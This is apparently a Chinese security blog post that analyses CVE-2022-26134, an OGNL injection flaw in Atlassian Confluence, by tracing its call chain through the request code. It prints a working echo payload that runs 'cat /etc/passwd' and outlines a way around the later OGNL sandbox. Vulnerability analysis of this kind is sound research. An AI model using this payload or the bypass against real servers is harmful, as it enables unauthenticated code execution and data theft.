Confluence OGNL表达式注入分析(CVE-2022-26134)

前言

Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新, Confluence上存在一个严重的未经身份验证的远程代码执行漏洞。OGNL注入漏洞允许未经身份验证的用户在Confluence Server或Data Center实例上执行任意代码。

漏洞分析

Runtime处下断点,开头经过一连串的FilterChain,但Filter都正常执行完了,显然漏洞与Filter无关。直接跟进到com.atlassian.confluence.servlet.ConfluenceServletDispatcher父类的service方法,在这里开始处理Servlet的请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exec:443, Runtime (java.lang)
...
getValue:333, Ognl (ognl)
getValue:310, Ognl (ognl)
findValue:141, OgnlValueStack (com.opensymphony.xwork.util)
translateVariables:39, TextParseUtil (com.opensymphony.xwork.util)
execute:95, ActionChainResult (com.opensymphony.xwork)
executeResult:263, DefaultActionInvocation (com.opensymphony.xwork)
invoke:187, DefaultActionInvocation (com.opensymphony.xwork)
intercept:21, FlashScopeInterceptor (com.atlassian.confluence.xwork)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
...
execute:115, DefaultActionProxy (com.opensymphony.xwork)
serviceAction:56, ConfluenceServletDispatcher (com.atlassian.confluence.servlet)
service:199, ServletDispatcher (com.opensymphony.webwork.dispatcher)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
...
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)

然后在执行一系列的Interceptor后,来到了ConfluenceAccessInterceptor,验证是否有权限访问。此时并没有登录,所以首次设置了返回页面状态notpermitted,且没有继续递归到下一个Interceptor。

由于没有继续递归Interceptor,且没有还未执行相应的Action,所以举行执行invoke方法的后续代码,进入到com.opensymphony.xwork.DefaultActionInvocation#executeResult方法。

跟进到executeResult方法,首先会执行本类中的createResult方法,再次跟进。代码的逻辑是根据页面的状态返回相应的Result类型。

当前的状态是notpermitted,所以返回的Result就是com.opensymphony.xwork.ActionChainResult。问题也出在ActionChainResult这里,它的execute会被DefaultActionInvocationexecuteResult方法调用。其中会用com.opensymphony.xwork.util.TextParseUtil#translateVariables方法,以OGNL表达式方式解析namespace,也就是我们传入的可控的路径,导致了OGNL表达式注入。

最后的POC就是OGNL表达式注入的POC了,比如以下广为流传的回显POC:

1
/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

沙箱绕过

看到有文章说稍高的版本加入了OGNL的沙箱,下载了个测试了确实如此。在OgnlValueStackfindValue方法调用了isSafeExpression方法做表达式的验证。验证的主要逻辑在com.opensymphony.xwork.util.SafeExpressionUtil#containsUnsafeExpression方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) { // 0 = "ognl.ASTStaticField" 1 = "ognl.ASTCtor" 2 = "ognl.ASTAssign"
return true;
} else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
return true;
}
}

return false;
}
}

该方法禁止了静态属性、构造方法,和对属性、方法、OGNL变量、常量进行黑名单验证,对静态方法进行白名单验证。

先看看OGNL变量的黑名单,把当前所有的不带.号的上下文变量都过滤了;而带.号变量,.号的内容又被解析为属性,没法正确获取到变量。所以@pwntester大佬的上下文大法在我这里才疏学浅没法绕了,也许有别的一种写法,希望研究出来的师傅分享分享。

但现在有一个@P牛公开的绕沙箱POC,形如${Class.forName("xxxxxxx")}。我们回看属性黑名单是有class的,那为什么P牛的POC内获取到类实例呢?这就涉及嵌套属性的问题,当一个类有getXXX方法时,XXX就是它的嵌套属性,能通过.点号的方式获取。这个小trick常在表达式语言中用到,相关的用法有如Spring的CVE-2022-22965。

后面的利用可以用经典的ScriptEngineManager,也可以反射Runtime,但在黑名单中的类名要拼接以下,简单绕下沙箱中的关键字。

后记

简单看下官方发布的补丁,感觉httpmethodnotallowedinviladmethod两种页面状态还能利用,但是不知道怎么触发😅

参考

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134

https://twitter.com/phithon_xg/status/1532887542722269184

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×